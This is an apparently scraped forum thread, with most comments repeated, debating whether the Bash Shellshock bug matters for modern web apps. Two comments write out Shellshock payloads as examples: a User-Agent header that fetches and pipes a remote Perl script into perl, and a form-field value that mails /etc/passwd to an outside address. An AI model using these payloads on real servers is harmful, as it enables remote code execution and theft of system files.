6 ms·

Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concer

Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywhere near a shell. Yes, I do know that cgi-bins are vulnerable, but is that surprising or concerning? I fully expect 1990s technology to be riddled with vulnerabilities. Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?

TeMPOraL 12y ago
The reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.
- morgante 12y ago
  > Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock But is that really very often? I've literally never felt good or safe with calling system() or popen() in a production web app, and I can't imagine it being a best practice. > Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you. Does that really include if the environment variables aren't referenced at all? Would "popen(ls)" by itself be enough to trigger Shellshock, even if the user input is never referenced?
  - M4v3R 12y ago
    Yes, it will, because: - Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value - Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; ..." it just happily executes that because of the bug. So in reality only two things have to be true for this attack to be possible: - you have a vulnerable shell on your server (unpatched bash) - your backend code (let it be PHP or anything else, really) at some point spawns a shell to do some stuff (which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff).
    - morgante 12y ago
      Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input. > which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to me.
      - grey-area 12y ago
        Here's an example from Wordpress: if (!@$mail = popen($sendmail, 'w')) { Here's another example from Active Record: Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}") This is not uncommon, and your web app probably do it if you send mail or interact with other services on the machine. There are quite a few examples in most frameworks, are you completely sure nothing you depend on calls popen? Far safer just to update bash.
      - fragmede 12y ago
        > I've never come across a popen/shell call in a web app which looked sane or secure to me. No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid. Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise. Even web apps not doing 'crazy stuff' can be written by a lone web-dev who just learned PHP from a book in 21-hours. Not every web app is written by a top-tier, skilled web-dev's who's up to date on the latest best practices, with a clean design for user-input sanitization, and a team of QA folk trying to poke holes, and a dedicated security team auditing the code, deployed behind some sort of filtering proxy. Hell, you'd think that with enough top-tier talent that bugs never happen, but even Google's been hit with a bug that exposed files from their servers; Facebook had that login security bug that they paid out for via their bug bounty program, Apple's security in the first bunch of revisions of iOS was laughable, and so on.
lutusp 12y ago
> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. Definitely read on. > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website: Enter name -- First: John Last: Smith Not much excitement here, unless Bash has the Shellshock vulnerability, in which case: Enter name -- First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com Here's why this is dangerous -- the file /etc/passwd is locally world-readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt. One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a local copy of /etc/password to succeed, and the above hack provides it. BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.
- morgante 12y ago
  You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell. My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.
  - lutusp 12y ago
    > You didn't address my concerns at all. You asked a question, I provided the answer and example code to the actual question that you asked. > My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person would expect to exist. > ... and I've yet to hear a single example of why any app built in the last decade would do so. I gave you an example that is typical of many CGI scripts that exist, now, in reality, and that are perfectly safe as long as Bash is safe. The reason is that variable assignment normally belongs in a different category than code execution. The Shellshock bug mixes variable assignment with code execution, something no reasonable person could be expected to anticipate.
nitrogen 12y ago
Shells are used in many obscure and surprising ways on UNIX-like systems. Not just direct CGI use. See some of my prior comments about shellshock for some of those ways.

TeMPOraL 12y ago

The reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.

morgante 12y ago
> Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock But is that really very often? I've literally never felt good or safe with calling system() or popen() in a production web app, and I can't imagine it being a best practice. > Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you. Does that really include if the environment variables aren't referenced at all? Would "popen(ls)" by itself be enough to trigger Shellshock, even if the user input is never referenced?
- M4v3R 12y ago
  Yes, it will, because: - Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value - Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; ..." it just happily executes that because of the bug. So in reality only two things have to be true for this attack to be possible: - you have a vulnerable shell on your server (unpatched bash) - your backend code (let it be PHP or anything else, really) at some point spawns a shell to do some stuff (which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff).
  - morgante 12y ago
    Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input. > which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to me.
    - grey-area 12y ago
      Here's an example from Wordpress: if (!@$mail = popen($sendmail, 'w')) { Here's another example from Active Record: Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}") This is not uncommon, and your web app probably do it if you send mail or interact with other services on the machine. There are quite a few examples in most frameworks, are you completely sure nothing you depend on calls popen? Far safer just to update bash.
    - fragmede 12y ago
      > I've never come across a popen/shell call in a web app which looked sane or secure to me. No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid. Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise. Even web apps not doing 'crazy stuff' can be written by a lone web-dev who just learned PHP from a book in 21-hours. Not every web app is written by a top-tier, skilled web-dev's who's up to date on the latest best practices, with a clean design for user-input sanitization, and a team of QA folk trying to poke holes, and a dedicated security team auditing the code, deployed behind some sort of filtering proxy. Hell, you'd think that with enough top-tier talent that bugs never happen, but even Google's been hit with a bug that exposed files from their servers; Facebook had that login security bug that they paid out for via their bug bounty program, Apple's security in the first bunch of revisions of iOS was laughable, and so on.

lutusp 12y ago

> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. Definitely read on. > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website: Enter name -- First: John Last: Smith Not much excitement here, unless Bash has the Shellshock vulnerability, in which case: Enter name -- First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com Here's why this is dangerous -- the file /etc/passwd is locally world-readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt. One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a local copy of /etc/password to succeed, and the above hack provides it. BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.

morgante 12y ago
You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell. My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.
- lutusp 12y ago
  > You didn't address my concerns at all. You asked a question, I provided the answer and example code to the actual question that you asked. > My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person would expect to exist. > ... and I've yet to hear a single example of why any app built in the last decade would do so. I gave you an example that is typical of many CGI scripts that exist, now, in reality, and that are perfectly safe as long as Bash is safe. The reason is that variable assignment normally belongs in a different category than code execution. The Shellshock bug mixes variable assignment with code execution, something no reasonable person could be expected to anticipate.

nitrogen 12y ago

Shells are used in many obscure and surprising ways on UNIX-like systems. Not just direct CGI use. See some of my prior comments about shellshock for some of those ways.